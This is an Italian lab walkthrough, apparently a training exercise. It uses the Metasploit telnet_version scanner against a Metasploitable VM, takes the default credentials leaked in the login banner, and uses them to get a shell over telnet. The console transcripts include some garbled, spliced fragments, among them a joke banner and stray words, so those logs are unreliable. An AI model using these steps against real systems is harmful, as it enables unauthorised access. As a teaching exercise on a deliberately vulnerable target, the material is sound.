

Proviamo adesso a sfruttare la vulnerabilità di metasploitable legata al servizio “telnet”. Settiamo gli indirizzi di kali (macchina attaccante) e metasploitable (macchina vittima) rispettivamente con IP 192.168.1.25 e 192.168.1.40.

Apriamo la console con il comando “msfconsole” ed avviamo l’exploit con il comando “auxiliary/scanner/telnet/telnet_version”. Si tratta di un modulo ausiliario; sebbene non sia un modulo aggressivo (infatti non attacca direttamente la macchina), ci restituisce informazioni importantissime sulla macchina bersaglio: nome utente e password per accedere alla macchina e quindi ai servizi da remoto.

Questo, come tanti altri moduli possono essere trovati con il comando “search” seguito dalla parola chiave che ci interessa (servizio, protocollo ecc...).

Per accertarci di quali parametri ha bisogno l’exploit per partire usiamo il comando “show option”.

```
Metasploit Park, System Security Interface
Version 4.0.5, Alpha E
Ready ...
> access security
access: PERMISSION DENIED.
> access security grid
access: PERMISSION DENIED.
> access main security grid
access: PERMISSION DENIED...and ...
YOU DIDN'T SAY THE MAGIC WORD!
YOU DIDN'T SAY THE MAGIC WORD!
YOU DIDN'T SAY THE MAGIC WORD!
YOU DIDN'T SAY THE MAGIC WORD!
YOU DIDN'T SAY THE MAGIC WORD!
YOU DIDN'T SAY THE MAGIC WORD!
YOU DIDN'T SAY THE MAGIC WORD!
YOU DIDN'T SAY THE MAGIC WORD!

-[ metasploit v6.3.55-dev ]
+ -- --[ 2397 exploits - 1235 auxiliary - 422 post ]
+ -- --[ 1391 payloads - 46 encoders - 11 nops ]
+ -- --[ 9 evasion ]

Metasploit Documentation: https://docs.metasploit.com/

use https://github.com/valer98x/S7-L1msf6 >
msf6 > use auxiliary/scanner/telnet/telnet_version
msf6 auxiliary(scanner/telnet/telnet_version) > show options

Module options (auxiliary/scanner/telnet/telnet_version):

  Name      Current Setting  Required  Description
  ---      -
PASSWORD   no                no        The password for the specified username
RHOSTS     yes              yes        The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT      23               yes        The target port (TCP)
THREADS    1                yes        The number of concurrent threads (max one per host)
TIMEOUT    30               yes        Timeout for the Telnet probe
USERNAME   no                no        The username to authenticate as

View the full module info with the info, or info -d command.
msf6 auxiliary(scanner/telnet/telnet_version) > 
```

L’exploit ha bisogno solo del parametro RHOST per funzionare; gli altri già ce li ha (tipo la RPORT) oppure non sono necessari (tipo l’username).

Settiamo come RHOST l’IP di metasploitable.

```
View the full module info with the info, or info -d command.

msf6 auxiliary(scanner/telnet/telnet_version) > set RHOSTS 192.168.1.40
RHOSTS => 192.168.1.40
msf6 auxiliary(scanner/telnet/telnet_version) > 
```

L'exploit è pronto a partire (non c'è neanche bisogno di impostare il payload). Diamo quindi il comando "exploit".

```
View the full module info with the info, or info -d command.
msf6 auxiliary(scanner/telnet/telnet_version) > set RHOSTS 192.168.1.40
RHOSTS => 192.168.1.40
msf6 auxiliary(scanner/telnet/telnet_version) > exploit
[*] 192.168.1.40:23 - 192.168.1.40:23 TELNET
Warning: Never expose this VM to an untrusted network!
Warning: Contact: msfdev[at]metasploit.com
Warning: Login with msfadmin/msfadmin to get started
[*] 192.168.1.40:23 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/telnet/telnet_version) >
```

Nella foto vediamo che l'exploit ha avuto successo: ci sono state restituite le credenziali d'accesso della macchina metasploitable (cerchiato in verde).

E' il momento di collegarci alla macchina da remoto sfruttando il protocollo telnet. Digitiamo quindi sulla console msfconsole il comando "telnet 192.168.1.40".

```
msf6 auxiliary(scanner/telnet/telnet_version) > telnet 192.168.1.40
[*] exec: telnet 192.168.1.40

Trying 192.168.1.40 ...
Connected to 192.168.1.40.
Escape character is '^]'.

metasploitable

Warning: Never expose this VM to an untrusted network!
Contact: msfdev[at]metasploit.com
Login with msfadmin/msfadmin to get started

metasploitable login: 
```

Poiché il servizio è filtrato, ci chiederà nome utente e password di metasploitable. Inseriamo nome utente e password da poco recuperati e siamo connessi.

```
metasploitable
BACKDOOR
Warning: Never expose this VM to an untrusted network!
Contact: msfdev[at]metasploit.com
Login with msfadmin/msfadmin to get started
REVERSE
metasploitable login: msfadmin
Password:
Last login: Mon May 20 09:52:00 EDT 2024 on tty1
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:~$ █
```

Vediamo come abbiamo preso pieno controllo della macchina metasploitable. Infatti eseguendo il comando “ifconfig”, ci troviamo sulla stessa shell di metasploitable.

```
File Actions Edit View Help
Trying 192.168.1.40...
Connected to 192.168.1.40.
Escape character is '^['.

metasploitable

Warning: Never expose this VM to an untrusted network!
Contact: msfdev[at]metasploit.com
Login with msfadmin/msfadmin to get started

metasploitable login: msfadmin
Password:
Last login: Mon May 20 09:52:00 EDT 2024 on tty1
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:~$ ifconfig
eth0      Link encap:Ethernet HWaddr 08:00:27:33:0c:a8
          inet addr:192.168.1.40 Bcast:192.168.1.255 Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe33:ca8/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
          RX packets:75 errors:0 dropped:0 overruns:0 frame:0
          TX packets:190 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:5582 (5.4 KB) TX bytes:24257 (23.6 KB)
          Base address:0x0020 Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1 Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING MTU:16436 Metric:1
          RX packets:911 errors:0 dropped:0 overruns:0 frame:0
          TX packets:911 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:413317 (403.6 KB) TX bytes:413317 (403.6 KB)

msfadmin@metasploitable:~$
```